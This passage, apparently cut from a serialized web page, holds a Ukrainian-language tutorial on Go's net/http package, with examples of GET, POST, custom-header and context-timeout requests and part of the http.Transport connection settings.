resp.Body.Close()\n\n    if resp.StatusCode != http.StatusOK {\n        log.Fatalf(\"Unexpected status: %d\", resp.StatusCode)\n    }\n\n    body, _ := io.ReadAll(resp.Body)\n    fmt.Println(string(body))\n}\n\n\u002F\u002F 2. POST-запит із JSON\nfunc postJSON() {\n    client := &http.Client{Timeout: 10 * time.Second}\n\n    payload := map[string]string{\n        \"name\":  \"Олена\",\n        \"email\": \"olena@example.com\",\n    }\n\n    jsonData, _ := json.Marshal(payload)\n\n    resp, err := client.Post(\n        \"https:\u002F\u002Fapi.example.com\u002Fusers\",\n        \"application\u002Fjson\",\n        bytes.NewBuffer(jsonData),\n    )\n    if err != nil {\n        log.Fatal(err)\n    }\n    defer resp.Body.Close()\n\n    fmt.Println(\"Status:\", resp.Status)\n}\n\n\u002F\u002F 3. Кастомний запит із заголовками\nfunc customRequest() {\n    client := &http.Client{Timeout: 10 * time.Second}\n\n    req, _ := http.NewRequest(\"PUT\", \"https:\u002F\u002Fapi.example.com\u002Fusers\u002F42\", nil)\n    \n    \u002F\u002F Додаємо заголовки\n    req.Header.Set(\"Authorization\", \"Bearer \"+token)\n    req.Header.Set(\"Content-Type\", \"application\u002Fjson\")\n    req.Header.Set(\"User-Agent\", \"MyApp\u002F1.0\")\n\n    resp, err := client.Do(req)\n    if err != nil {\n        log.Fatal(err)\n    }\n    defer resp.Body.Close()\n\n    fmt.Println(\"Status:\", resp.StatusCode)\n}\n\n\u002F\u002F 4. Запит із контекстом (таймаут, скасування)\nfunc requestWithContext() {\n    client := &http.Client{}\n\n    ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\n    defer cancel()\n\n    req, _ := http.NewRequestWithContext(ctx, \"GET\", \"https:\u002F\u002Fslow-api.example.com\", nil)\n\n    resp, err := client.Do(req)\n    if err != nil {\n        if ctx.Err() == context.DeadlineExceeded {\n            log.Println(\"Request timed out\")\n        }\n        return\n    }\n    defer resp.Body.Close()\n}\n",[5236,24146,24147,24152,24161,24193,24197,24222,24234,24249,24253,24270,24274,24295,24323,24327,24331,24357,24375,24379,24383,24388,24397,24427,24431,24450,24461,24473,24477,24481,24504,24508,24527,24534,24541,24558,24563,24575,24589,24593,24609,24613,24637,24641,24645,24650,24659,24689,24693,24727,24731,24736,24765,24787,24810,24814,24836,24848,24862,24866,24882,24886,24908,24912,24916,24921,24930,24944,24948,24986,24994,24998,25035,25039,25061,25073,25097,25112,25116,25120,25124,25140],{"__ignoreMap":5472},[5557,24148,24149],{"class":5559,"line":5560},[5557,24150,24151],{"class":5647},"\u002F\u002F 1. Простий GET-запит\n",[5557,24153,24154,24156,24159],{"class":5559,"line":5571},[5557,24155,5634],{"class":5563},[5557,24157,24158],{"class":5637}," simpleGet",[5557,24160,5641],{"class":5585},[5557,24162,24163,24166,24168,24170,24172,24174,24176,24179,24181,24183,24185,24187,24189,24191],{"class":5559,"line":5578},[5557,24164,24165],{"class":5654},"    client",[5557,24167,8973],{"class":5585},[5557,24169,8928],{"class":5567},[5557,24171,5268],{"class":5585},[5557,24173,23739],{"class":5567},[5557,24175,7065],{"class":5585},[5557,24177,24178],{"class":5654},"Timeout",[5557,24180,6704],{"class":5585},[5557,24182,18335],{"class":6134},[5557,24184,20429],{"class":5585},[5557,24186,20432],{"class":5654},[5557,24188,5268],{"class":5585},[5557,24190,20437],{"class":5654},[5557,24192,5922],{"class":5585},[5557,24194,24195],{"class":5559,"line":5589},[5557,24196,10877],{"class":5585},[5557,24198,24199,24202,24204,24206,24208,24211,24213,24215,24217,24220],{"class":5559,"line":5596},[5557,24200,24201],{"class":5654},"    resp",[5557,24203,5305],{"class":5585},[5557,24205,5660],{"class":5654},[5557,24207,5663],{"class":5585},[5557,24209,24210],{"class":5654},"client",[5557,24212,5268],{"class":5585},[5557,24214,10977],{"class":5637},[5557,24216,5673],{"class":5585},[5557,24218,24219],{"class":5592},"\"https:\u002F\u002Fapi.example.com\u002Fusers\"",[5557,24221,5623],{"class":5585},[5557,24223,24224,24226,24228,24230,24232],{"class":5559,"line":5602},[5557,24225,5689],{"class":5581},[5557,24227,5692],{"class":5654},[5557,24229,5695],{"class":5585},[5557,24231,5698],{"class":5563},[5557,24233,5701],{"class":5585},[5557,24235,24236,24238,24240,24243,24245,24247],{"class":5559,"line":5608},[5557,24237,5707],{"class":5654},[5557,24239,5268],{"class":5585},[5557,24241,24242],{"class":5637},"Fatal",[5557,24244,5673],{"class":5585},[5557,24246,5660],{"class":5654},[5557,24248,5623],{"class":5585},[5557,24250,24251],{"class":5559,"line":5614},[5557,24252,5735],{"class":5585},[5557,24254,24255,24257,24260,24262,24264,24266,24268],{"class":5559,"line":5620},[5557,24256,5741],{"class":5581},[5557,24258,24259],{"class":5654}," resp",[5557,24261,5268],{"class":5585},[5557,24263,15196],{"class":5654},[5557,24265,5268],{"class":5585},[5557,24267,5749],{"class":5637},[5557,24269,5752],{"class":5585},[5557,24271,24272],{"class":5559,"line":5626},[5557,24273,5575],{"emptyLinePlaceholder":5574},[5557,24275,24276,24278,24280,24282,24285,24287,24289,24291,24293],{"class":5559,"line":5631},[5557,24277,5689],{"class":5581},[5557,24279,24259],{"class":5654},[5557,24281,5268],{"class":5585},[5557,24283,24284],{"class":5654},"StatusCode",[5557,24286,5695],{"class":5585},[5557,24288,8928],{"class":5654},[5557,24290,5268],{"class":5585},[5557,24292,9135],{"class":5654},[5557,24294,5701],{"class":5585},[5557,24296,24297,24299,24301,24303,24305,24308,24310,24312,24314,24317,24319,24321],{"class":5559,"line":5644},[5557,24298,5707],{"class":5654},[5557,24300,5268],{"class":5585},[5557,24302,5712],{"class":5637},[5557,24304,5673],{"class":5585},[5557,24306,24307],{"class":5592},"\"Unexpected status: ",[5557,24309,6794],{"class":5654},[5557,24311,5723],{"class":5592},[5557,24313,5305],{"class":5585},[5557,24315,24316],{"class":5654},"resp",[5557,24318,5268],{"class":5585},[5557,24320,24284],{"class":5654},[5557,24322,5623],{"class":5585},[5557,24324,24325],{"class":5559,"line":5651},[5557,24326,5735],{"class":5585},[5557,24328,24329],{"class":5559,"line":5686},[5557,24330,5575],{"emptyLinePlaceholder":5574},[5557,24332,24333,24335,24337,24339,24341,24343,24345,24347,24349,24351,24353,24355],{"class":5559,"line":5704},[5557,24334,18121],{"class":5654},[5557,24336,5305],{"class":5585},[5557,24338,10892],{"class":5654},[5557,24340,5663],{"class":5585},[5557,24342,5311],{"class":5654},[5557,24344,5268],{"class":5585},[5557,24346,18134],{"class":5637},[5557,24348,5673],{"class":5585},[5557,24350,24316],{"class":5654},[5557,24352,5268],{"class":5585},[5557,24354,15196],{"class":5654},[5557,24356,5623],{"class":5585},[5557,24358,24359,24361,24363,24365,24367,24369,24371,24373],{"class":5559,"line":5732},[5557,24360,5763],{"class":5654},[5557,24362,5268],{"class":5585},[5557,24364,5768],{"class":5637},[5557,24366,5673],{"class":5585},[5557,24368,6692],{"class":5567},[5557,24370,5673],{"class":5585},[5557,24372,5531],{"class":5654},[5557,24374,6878],{"class":5585},[5557,24376,24377],{"class":5559,"line":5738},[5557,24378,5922],{"class":5585},[5557,24380,24381],{"class":5559,"line":5755},[5557,24382,5575],{"emptyLinePlaceholder":5574},[5557,24384,24385],{"class":5559,"line":5760},[5557,24386,24387],{"class":5647},"\u002F\u002F 2. POST-запит із JSON\n",[5557,24389,24390,24392,24395],{"class":5559,"line":5778},[5557,24391,5634],{"class":5563},[5557,24393,24394],{"class":5637}," postJSON",[5557,24396,5641],{"class":5585},[5557,24398,24399,24401,24403,24405,24407,24409,24411,24413,24415,24417,24419,24421,24423,24425],{"class":5559,"line":5794},[5557,24400,24165],{"class":5654},[5557,24402,8973],{"class":5585},[5557,24404,8928],{"class":5567},[5557,24406,5268],{"class":5585},[5557,24408,23739],{"class":5567},[5557,24410,7065],{"class":5585},[5557,24412,24178],{"class":5654},[5557,24414,6704],{"class":5585},[5557,24416,18335],{"class":6134},[5557,24418,20429],{"class":5585},[5557,24420,20432],{"class":5654},[5557,24422,5268],{"class":5585},[5557,24424,20437],{"class":5654},[5557,24426,5922],{"class":5585},[5557,24428,24429],{"class":5559,"line":5799},[5557,24430,5575],{"emptyLinePlaceholder":5574},[5557,24432,24433,24436,24438,24440,24442,24444,24446,24448],{"class":5559,"line":5807},[5557,24434,24435],{"class":5654},"    payload",[5557,24437,5663],{"class":5585},[5557,24439,6681],{"class":5563},[5557,24441,6192],{"class":5585},[5557,24443,6692],{"class":5567},[5557,24445,6689],{"class":5585},[5557,24447,6692],{"class":5567},[5557,24449,6695],{"class":5585},[5557,24451,24452,24455,24457,24459],{"class":5559,"line":5813},[5557,24453,24454],{"class":5592},"        \"name\"",[5557,24456,14628],{"class":5585},[5557,24458,11336],{"class":5592},[5557,24460,6710],{"class":5585},[5557,24462,24463,24466,24468,24471],{"class":5559,"line":5835},[5557,24464,24465],{"class":5592},"        \"email\"",[5557,24467,6704],{"class":5585},[5557,24469,24470],{"class":5592},"\"olena@example.com\"",[5557,24472,6710],{"class":5585},[5557,24474,24475],{"class":5559,"line":5849},[5557,24476,5735],{"class":5585},[5557,24478,24479],{"class":5559,"line":5875},[5557,24480,5575],{"emptyLinePlaceholder":5574},[5557,24482,24483,24486,24488,24490,24492,24494,24496,24498,24500,24502],{"class":5559,"line":5881},[5557,24484,24485],{"class":5654},"    jsonData",[5557,24487,5305],{"class":5585},[5557,24489,10892],{"class":5654},[5557,24491,5663],{"class":5585},[5557,24493,6560],{"class":5654},[5557,24495,5268],{"class":5585},[5557,24497,10901],{"class":5637},[5557,24499,5673],{"class":5585},[5557,24501,15207],{"class":5654},[5557,24503,5623],{"class":5585},[5557,24505,24506],{"class":5559,"line":5887},[5557,24507,5575],{"emptyLinePlaceholder":5574},[5557,24509,24510,24512,24514,24516,24518,24520,24522,24524],{"class":5559,"line":5892},[5557,24511,24201],{"class":5654},[5557,24513,5305],{"class":5585},[5557,24515,5660],{"class":5654},[5557,24517,5663],{"class":5585},[5557,24519,24210],{"class":5654},[5557,24521,5268],{"class":5585},[5557,24523,23967],{"class":5637},[5557,24525,24526],{"class":5585},"(\n",[5557,24528,24529,24532],{"class":5559,"line":5898},[5557,24530,24531],{"class":5592},"        \"https:\u002F\u002Fapi.example.com\u002Fusers\"",[5557,24533,6710],{"class":5585},[5557,24535,24536,24539],{"class":5559,"line":5914},[5557,24537,24538],{"class":5592},"        \"application\u002Fjson\"",[5557,24540,6710],{"class":5585},[5557,24542,24543,24546,24548,24551,24553,24556],{"class":5559,"line":5919},[5557,24544,24545],{"class":5654},"        bytes",[5557,24547,5268],{"class":5585},[5557,24549,24550],{"class":5637},"NewBuffer",[5557,24552,5673],{"class":5585},[5557,24554,24555],{"class":5654},"jsonData",[5557,24557,14647],{"class":5585},[5557,24559,24560],{"class":5559,"line":5925},[5557,24561,24562],{"class":5585},"    )\n",[5557,24564,24565,24567,24569,24571,24573],{"class":5559,"line":5930},[5557,24566,5689],{"class":5581},[5557,24568,5692],{"class":5654},[5557,24570,5695],{"class":5585},[5557,24572,5698],{"class":5563},[5557,24574,5701],{"class":5585},[5557,24576,24577,24579,24581,24583,24585,24587],{"class":5559,"line":5952},[5557,24578,5707],{"class":5654},[5557,24580,5268],{"class":5585},[5557,24582,24242],{"class":5637},[5557,24584,5673],{"class":5585},[5557,24586,5660],{"class":5654},[5557,24588,5623],{"class":5585},[5557,24590,24591],{"class":5559,"line":5966},[5557,24592,5735],{"class":5585},[5557,24594,24595,24597,24599,24601,24603,24605,24607],{"class":5559,"line":5971},[5557,24596,5741],{"class":5581},[5557,24598,24259],{"class":5654},[5557,24600,5268],{"class":5585},[5557,24602,15196],{"class":5654},[5557,24604,5268],{"class":5585},[5557,24606,5749],{"class":5637},[5557,24608,5752],{"class":5585},[5557,24610,24611],{"class":5559,"line":5977},[5557,24612,5575],{"emptyLinePlaceholder":5574},[5557,24614,24615,24617,24619,24621,24623,24626,24628,24630,24632,24635],{"class":5559,"line":5998},[5557,24616,5763],{"class":5654},[5557,24618,5268],{"class":5585},[5557,24620,5768],{"class":5637},[5557,24622,5673],{"class":5585},[5557,24624,24625],{"class":5592},"\"Status:\"",[5557,24627,5305],{"class":5585},[5557,24629,24316],{"class":5654},[5557,24631,5268],{"class":5585},[5557,24633,24634],{"class":5654},"Status",[5557,24636,5623],{"class":5585},[5557,24638,24639],{"class":5559,"line":6003},[5557,24640,5922],{"class":5585},[5557,24642,24643],{"class":5559,"line":6009},[5557,24644,5575],{"emptyLinePlaceholder":5574},[5557,24646,24647],{"class":5559,"line":6036},[5557,24648,24649],{"class":5647},"\u002F\u002F 3. Кастомний запит із заголовками\n",[5557,24651,24652,24654,24657],{"class":5559,"line":6049},[5557,24653,5634],{"class":5563},[5557,24655,24656],{"class":5637}," customRequest",[5557,24658,5641],{"class":5585},[5557,24660,24661,24663,24665,24667,24669,24671,24673,24675,24677,24679,24681,24683,24685,24687],{"class":5559,"line":6073},[5557,24662,24165],{"class":5654},[5557,24664,8973],{"class":5585},[5557,24666,8928],{"class":5567},[5557,24668,5268],{"class":5585},[5557,24670,23739],{"class":5567},[5557,24672,7065],{"class":5585},[5557,24674,24178],{"class":5654},[5557,24676,6704],{"class":5585},[5557,24678,18335],{"class":6134},[5557,24680,20429],{"class":5585},[5557,24682,20432],{"class":5654},[5557,24684,5268],{"class":5585},[5557,24686,20437],{"class":5654},[5557,24688,5922],{"class":5585},[5557,24690,24691],{"class":5559,"line":6079},[5557,24692,5575],{"emptyLinePlaceholder":5574},[5557,24694,24695,24698,24700,24702,24704,24706,24708,24711,24713,24716,24718,24721,24723,24725],{"class":5559,"line":6084},[5557,24696,24697],{"class":5654},"    req",[5557,24699,5305],{"class":5585},[5557,24701,10892],{"class":5654},[5557,24703,5663],{"class":5585},[5557,24705,8928],{"class":5654},[5557,24707,5268],{"class":5585},[5557,24709,24710],{"class":5637},"NewRequest",[5557,24712,5673],{"class":5585},[5557,24714,24715],{"class":5592},"\"PUT\"",[5557,24717,5305],{"class":5585},[5557,24719,24720],{"class":5592},"\"https:\u002F\u002Fapi.example.com\u002Fusers\u002F42\"",[5557,24722,5305],{"class":5585},[5557,24724,5698],{"class":5563},[5557,24726,5623],{"class":5585},[5557,24728,24729],{"class":5559,"line":6089},[5557,24730,10877],{"class":5585},[5557,24732,24733],{"class":5559,"line":6095},[5557,24734,24735],{"class":5647},"    \u002F\u002F Додаємо заголовки\n",[5557,24737,24738,24740,24742,24744,24746,24748,24750,24752,24754,24757,24760,24763],{"class":5559,"line":6118},[5557,24739,24697],{"class":5654},[5557,24741,5268],{"class":5585},[5557,24743,10972],{"class":5654},[5557,24745,5268],{"class":5585},[5557,24747,11046],{"class":5637},[5557,24749,5673],{"class":5585},[5557,24751,17745],{"class":5592},[5557,24753,5305],{"class":5585},[5557,24755,24756],{"class":5592},"\"Bearer \"",[5557,24758,24759],{"class":5585},"+",[5557,24761,24762],{"class":5654},"token",[5557,24764,5623],{"class":5585},[5557,24766,24767,24769,24771,24773,24775,24777,24779,24781,24783,24785],{"class":5559,"line":6140},[5557,24768,24697],{"class":5654},[5557,24770,5268],{"class":5585},[5557,24772,10972],{"class":5654},[5557,24774,5268],{"class":5585},[5557,24776,11046],{"class":5637},[5557,24778,5673],{"class":5585},[5557,24780,11098],{"class":5592},[5557,24782,5305],{"class":5585},[5557,24784,6555],{"class":5592},[5557,24786,5623],{"class":5585},[5557,24788,24789,24791,24793,24795,24797,24799,24801,24803,24805,24808],{"class":5559,"line":6167},[5557,24790,24697],{"class":5654},[5557,24792,5268],{"class":5585},[5557,24794,10972],{"class":5654},[5557,24796,5268],{"class":5585},[5557,24798,11046],{"class":5637},[5557,24800,5673],{"class":5585},[5557,24802,17649],{"class":5592},[5557,24804,5305],{"class":5585},[5557,24806,24807],{"class":5592},"\"MyApp\u002F1.0\"",[5557,24809,5623],{"class":5585},[5557,24811,24812],{"class":5559,"line":6172},[5557,24813,5575],{"emptyLinePlaceholder":5574},[5557,24815,24816,24818,24820,24822,24824,24826,24828,24830,24832,24834],{"class":5559,"line":6177},[5557,24817,24201],{"class":5654},[5557,24819,5305],{"class":5585},[5557,24821,5660],{"class":5654},[5557,24823,5663],{"class":5585},[5557,24825,24210],{"class":5654},[5557,24827,5268],{"class":5585},[5557,24829,24118],{"class":5637},[5557,24831,5673],{"class":5585},[5557,24833,23646],{"class":5654},[5557,24835,5623],{"class":5585},[5557,24837,24838,24840,24842,24844,24846],{"class":5559,"line":6182},[5557,24839,5689],{"class":5581},[5557,24841,5692],{"class":5654},[5557,24843,5695],{"class":5585},[5557,24845,5698],{"class":5563},[5557,24847,5701],{"class":5585},[5557,24849,24850,24852,24854,24856,24858,24860],{"class":5559,"line":6201},[5557,24851,5707],{"class":5654},[5557,24853,5268],{"class":5585},[5557,24855,24242],{"class":5637},[5557,24857,5673],{"class":5585},[5557,24859,5660],{"class":5654},[5557,24861,5623],{"class":5585},[5557,24863,24864],{"class":5559,"line":6218},[5557,24865,5735],{"class":5585},[5557,24867,24868,24870,24872,24874,24876,24878,24880],{"class":5559,"line":6223},[5557,24869,5741],{"class":5581},[5557,24871,24259],{"class":5654},[5557,24873,5268],{"class":5585},[5557,24875,15196],{"class":5654},[5557,24877,5268],{"class":5585},[5557,24879,5749],{"class":5637},[5557,24881,5752],{"class":5585},[5557,24883,24884],{"class":5559,"line":6273},[5557,24885,5575],{"emptyLinePlaceholder":5574},[5557,24887,24888,24890,24892,24894,24896,24898,24900,24902,24904,24906],{"class":5559,"line":6278},[5557,24889,5763],{"class":5654},[5557,24891,5268],{"class":5585},[5557,24893,5768],{"class":5637},[5557,24895,5673],{"class":5585},[5557,24897,24625],{"class":5592},[5557,24899,5305],{"class":5585},[5557,24901,24316],{"class":5654},[5557,24903,5268],{"class":5585},[5557,24905,24284],{"class":5654},[5557,24907,5623],{"class":5585},[5557,24909,24910],{"class":5559,"line":6284},[5557,24911,5922],{"class":5585},[5557,24913,24914],{"class":5559,"line":6291},[5557,24915,5575],{"emptyLinePlaceholder":5574},[5557,24917,24918],{"class":5559,"line":6315},[5557,24919,24920],{"class":5647},"\u002F\u002F 4. Запит із контекстом (таймаут, скасування)\n",[5557,24922,24923,24925,24928],{"class":5559,"line":6328},[5557,24924,5634],{"class":5563},[5557,24926,24927],{"class":5637}," requestWithContext",[5557,24929,5641],{"class":5585},[5557,24931,24932,24934,24936,24938,24940,24942],{"class":5559,"line":6334},[5557,24933,24165],{"class":5654},[5557,24935,8973],{"class":5585},[5557,24937,8928],{"class":5567},[5557,24939,5268],{"class":5585},[5557,24941,23739],{"class":5567},[5557,24943,23742],{"class":5585},[5557,24945,24946],{"class":5559,"line":6339},[5557,24947,5575],{"emptyLinePlaceholder":5574},[5557,24949,24950,24952,24954,24956,24958,24960,24962,24964,24966,24968,24970,24972,24974,24976,24978,24980,24982,24984],{"class":5559,"line":6345},[5557,24951,16899],{"class":5654},[5557,24953,5305],{"class":5585},[5557,24955,22723],{"class":5654},[5557,24957,5663],{"class":5585},[5557,24959,5317],{"class":5654},[5557,24961,5268],{"class":5585},[5557,24963,22732],{"class":5637},[5557,24965,5673],{"class":5585},[5557,24967,5317],{"class":5654},[5557,24969,5268],{"class":5585},[5557,24971,22741],{"class":5637},[5557,24973,20677],{"class":5585},[5557,24975,22249],{"class":6134},[5557,24977,18338],{"class":5585},[5557,24979,20432],{"class":5654},[5557,24981,5268],{"class":5585},[5557,24983,20437],{"class":5654},[5557,24985,5623],{"class":5585},[5557,24987,24988,24990,24992],{"class":5559,"line":6379},[5557,24989,5741],{"class":5581},[5557,24991,22763],{"class":5637},[5557,24993,5752],{"class":5585},[5557,24995,24996],{"class":5559,"line":6385},[5557,24997,5575],{"emptyLinePlaceholder":5574},[5557,24999,25000,25002,25004,25006,25008,25010,25012,25015,25017,25019,25021,25024,25026,25029,25031,25033],{"class":5559,"line":6390},[5557,25001,24697],{"class":5654},[5557,25003,5305],{"class":5585},[5557,25005,10892],{"class":5654},[5557,25007,5663],{"class":5585},[5557,25009,8928],{"class":5654},[5557,25011,5268],{"class":5585},[5557,25013,25014],{"class":5637},"NewRequestWithContext",[5557,25016,5673],{"class":5585},[5557,25018,18853],{"class":5654},[5557,25020,5305],{"class":5585},[5557,25022,25023],{"class":5592},"\"GET\"",[5557,25025,5305],{"class":5585},[5557,25027,25028],{"class":5592},"\"https:\u002F\u002Fslow-api.example.com\"",[5557,25030,5305],{"class":5585},[5557,25032,5698],{"class":5563},[5557,25034,5623],{"class":5585},[5557,25036,25037],{"class":5559,"line":6395},[5557,25038,5575],{"emptyLinePlaceholder":5574},[5557,25040,25041,25043,25045,25047,25049,25051,25053,25055,25057,25059],{"class":5559,"line":6400},[5557,25042,24201],{"class":5654},[5557,25044,5305],{"class":5585},[5557,25046,5660],{"class":5654},[5557,25048,5663],{"class":5585},[5557,25050,24210],{"class":5654},[5557,25052,5268],{"class":5585},[5557,25054,24118],{"class":5637},[5557,25056,5673],{"class":5585},[5557,25058,23646],{"class":5654},[5557,25060,5623],{"class":5585},[5557,25062,25063,25065,25067,25069,25071],{"class":5559,"line":6406},[5557,25064,5689],{"class":5581},[5557,25066,5692],{"class":5654},[5557,25068,5695],{"class":5585},[5557,25070,5698],{"class":5563},[5557,25072,5701],{"class":5585},[5557,25074,25075,25077,25080,25082,25085,25088,25090,25092,25095],{"class":5559,"line":6417},[5557,25076,5838],{"class":5581},[5557,25078,25079],{"class":5654}," ctx",[5557,25081,5268],{"class":5585},[5557,25083,25084],{"class":5637},"Err",[5557,25086,25087],{"class":5585},"() == ",[5557,25089,5317],{"class":5654},[5557,25091,5268],{"class":5585},[5557,25093,25094],{"class":5654},"DeadlineExceeded",[5557,25096,5701],{"class":5585},[5557,25098,25099,25101,25103,25105,25107,25110],{"class":5559,"line":6429},[5557,25100,5852],{"class":5654},[5557,25102,5268],{"class":5585},[5557,25104,5768],{"class":5637},[5557,25106,5673],{"class":5585},[5557,25108,25109],{"class":5592},"\"Request timed out\"",[5557,25111,5623],{"class":5585},[5557,25113,25114],{"class":5559,"line":6440},[5557,25115,5884],{"class":5585},[5557,25117,25118],{"class":5559,"line":6466},[5557,25119,6076],{"class":5581},[5557,25121,25122],{"class":5559,"line":6471},[5557,25123,5735],{"class":5585},[5557,25125,25126,25128,25130,25132,25134,25136,25138],{"class":5559,"line":6481},[5557,25127,5741],{"class":5581},[5557,25129,24259],{"class":5654},[5557,25131,5268],{"class":5585},[5557,25133,15196],{"class":5654},[5557,25135,5268],{"class":5585},[5557,25137,5749],{"class":5637},[5557,25139,5752],{"class":5585},[5557,25141,25142],{"class":5559,"line":6491},[5557,25143,5922],{"class":5585},[7167,25145,16563,25147,25150],{"id":25146},"структура-httptransport-налаштування-зєднань",[5236,25148,25149],{},"http.Transport",": налаштування з'єднань",[5348,25152,25153,25155],{},[5236,25154,23799],{}," керує пулом з'єднань, проксі, TLS та іншими низькорівневими деталями.",[5464,25157,25159],{"className":5550,"code":25158,"language":5553,"meta":5472,"style":5472},"type Transport struct {\n    \u002F\u002F Функція для створення нових з'єднань\n    \u002F\u002F За замовчуванням: net.Dial\n    Dial func(network, addr string) (net.Conn, error)\n\n    \u002F\u002F Функція для створення TLS з'єднань\n    DialTLS func(network, addr string) (net.Conn, error)\n\n    \u002F\u002F TLS конфігурація\n    TLSClientConfig *tls.Config\n\n    \u002F\u002F Максимальна кількість idle з'єднань (всього)\n    MaxIdleConns int \u002F\u002F За замовчуванням: 100\n\n    \u002F\u002F Максимальна кількість idle з'єднань на хост\n    MaxIdleConnsPerHost int \u002F\u002F За замовчуванням: 2\n\n    \u002F\u002F Максимальна кількість з'єднань на хост (0 = необмежено)\n    MaxConnsPerHost int\n\n    \u002F\u002F Час життя idle з'єднання\n    IdleConnTimeout time.Duration \u002F\u002F За замовчуванням: 90s\n\n    \u002F\u002F Таймаут TLS handshake\n    TLSHandshakeTimeout time.Duration \u002F\u002F За замовчуванням: 10s\n\n    \u002F\u002F Продовжувати використовувати з'єднання після Read\n    DisableKeepAlives bool\n\n    \u002F\u002F Автоматично стискати gzip\n    DisableCompression bool\n\n    \u002F\u002F Проксі-функція\n    Proxy func(*Request) (*url.URL, error)\n}\n",[5236,25160,25161,25172,25177,25182,25215,25219,25224,25255,25259,25264,25277,25281,25286,25296,25300,25305,25315,25319,25324,25331,25335,25340,25355,25359,25364,25378,25382,25387,25394,25398,25403,25410,25414,25419,25444],{"__ignoreMap":5472},[5557,25162,25163,25165,25168,25170],{"class":5559,"line":5560},[5557,25164,11991],{"class":5563},[5557,25166,25167],{"class":5567}," Transport",[5557,25169,11997],{"class":5563},[5557,25171,5701],{"class":5585},[5557,25173,25174],{"class":5559,"line":5571},[5557,25175,25176],{"class":5647},"    \u002F\u002F Функція для створення нових з'єднань\n",[5557,25178,25179],{"class":5559,"line":5578},[5557,25180,25181],{"class":5647},"    \u002F\u002F За замовчуванням: net.Dial\n",[5557,25183,25184,25187,25189,25191,25194,25196,25199,25201,25203,25205,25207,25209,25211,25213],{"class":5559,"line":5589},[5557,25185,25186],{"class":5654},"    Dial",[5557,25188,21829],{"class":5563},[5557,25190,5673],{"class":5585},[5557,25192,25193],{"class":5654},"network",[5557,25195,5305],{"class":5585},[5557,25197,25198],{"class":5654},"addr",[5557,25200,6662],{"class":5567},[5557,25202,12054],{"class":5585},[5557,25204,5308],{"class":5567},[5557,25206,5268],{"class":5585},[5557,25208,5946],{"class":5567},[5557,25210,5305],{"class":5585},[5557,25212,12061],{"class":5567},[5557,25214,5623],{"class":5585},[5557,25216,25217],{"class":5559,"line":5596},[5557,25218,5575],{"emptyLinePlaceholder":5574},[5557,25220,25221],{"class":5559,"line":5602},[5557,25222,25223],{"class":5647},"    \u002F\u002F Функція для створення TLS з'єднань\n",[5557,25225,25226,25229,25231,25233,25235,25237,25239,25241,25243,25245,25247,25249,25251,25253],{"class":5559,"line":5608},[5557,25227,25228],{"class":5654},"    DialTLS",[5557,25230,21829],{"class":5563},[5557,25232,5673],{"class":5585},[5557,25234,25193],{"class":5654},[5557,25236,5305],{"class":5585},[5557,25238,25198],{"class":5654},[5557,25240,6662],{"class":5567},[5557,25242,12054],{"class":5585},[5557,25244,5308],{"class":5567},[5557,25246,5268],{"class":5585},[5557,25248,5946],{"class":5567},[5557,25250,5305],{"class":5585},[5557,25252,12061],{"class":5567},[5557,25254,5623],{"class":5585},[5557,25256,25257],{"class":5559,"line":5614},[5557,25258,5575],{"emptyLinePlaceholder":5574},[5557,25260,25261],{"class":5559,"line":5620},[5557,25262,25263],{"class":5647},"    \u002F\u002F TLS конфігурація\n",[5557,25265,25266,25269,25271,25273,25275],{"class":5559,"line":5626},[5557,25267,25268],{"class":5654},"    TLSClientConfig",[5557,25270,8925],{"class":5585},[5557,25272,16848],{"class":5567},[5557,25274,5268],{"class":5585},[5557,25276,21725],{"class":5567},[5557,25278,25279],{"class":5559,"line":5631},[5557,25280,5575],{"emptyLinePlaceholder":5574},[5557,25282,25283],{"class":5559,"line":5644},[5557,25284,25285],{"class":5647},"    \u002F\u002F Максимальна кількість idle з'єднань (всього)\n",[5557,25287,25288,25291,25293],{"class":5559,"line":5651},[5557,25289,25290],{"class":5654},"    MaxIdleConns",[5557,25292,6650],{"class":5567},[5557,25294,25295],{"class":5647}," \u002F\u002F За замовчуванням: 100\n",[5557,25297,25298],{"class":5559,"line":5686},[5557,25299,5575],{"emptyLinePlaceholder":5574},[5557,25301,25302],{"class":5559,"line":5704},[5557,25303,25304],{"class":5647},"    \u002F\u002F Максимальна кількість idle з'єднань на хост\n",[5557,25306,25307,25310,25312],{"class":5559,"line":5732},[5557,25308,25309],{"class":5654},"    MaxIdleConnsPerHost",[5557,25311,6650],{"class":5567},[5557,25313,25314],{"class":5647}," \u002F\u002F За замовчуванням: 2\n",[5557,25316,25317],{"class":5559,"line":5738},[5557,25318,5575],{"emptyLinePlaceholder":5574},[5557,25320,25321],{"class":5559,"line":5755},[5557,25322,25323],{"class":5647},"    \u002F\u002F Максимальна кількість з'єднань на хост (0 = необмежено)\n",[5557,25325,25326,25329],{"class":5559,"line":5760},[5557,25327,25328],{"class":5654},"    MaxConnsPerHost",[5557,25330,14586],{"class":5567},[5557,25332,25333],{"class":5559,"line":5778},[5557,25334,5575],{"emptyLinePlaceholder":5574},[5557,25336,25337],{"class":5559,"line":5794},[5557,25338,25339],{"class":5647},"    \u002F\u002F Час життя idle з'єднання\n",[5557,25341,25342,25345,25347,25349,25352],{"class":5559,"line":5799},[5557,25343,25344],{"class":5654},"    IdleConnTimeout",[5557,25346,21172],{"class":5567},[5557,25348,5268],{"class":5585},[5557,25350,25351],{"class":5567},"Duration",[5557,25353,25354],{"class":5647}," \u002F\u002F За замовчуванням: 90s\n",[5557,25356,25357],{"class":5559,"line":5807},[5557,25358,5575],{"emptyLinePlaceholder":5574},[5557,25360,25361],{"class":5559,"line":5813},[5557,25362,25363],{"class":5647},"    \u002F\u002F Таймаут TLS handshake\n",[5557,25365,25366,25369,25371,25373,25375],{"class":5559,"line":5835},[5557,25367,25368],{"class":5654},"    TLSHandshakeTimeout",[5557,25370,21172],{"class":5567},[5557,25372,5268],{"class":5585},[5557,25374,25351],{"class":5567},[5557,25376,25377],{"class":5647}," \u002F\u002F За замовчуванням: 10s\n",[5557,25379,25380],{"class":5559,"line":5849},[5557,25381,5575],{"emptyLinePlaceholder":5574},[5557,25383,25384],{"class":5559,"line":5875},[5557,25385,25386],{"class":5647},"    \u002F\u002F Продовжувати використовувати з'єднання після Read\n",[5557,25388,25389,25392],{"class":5559,"line":5881},[5557,25390,25391],{"class":5654},"    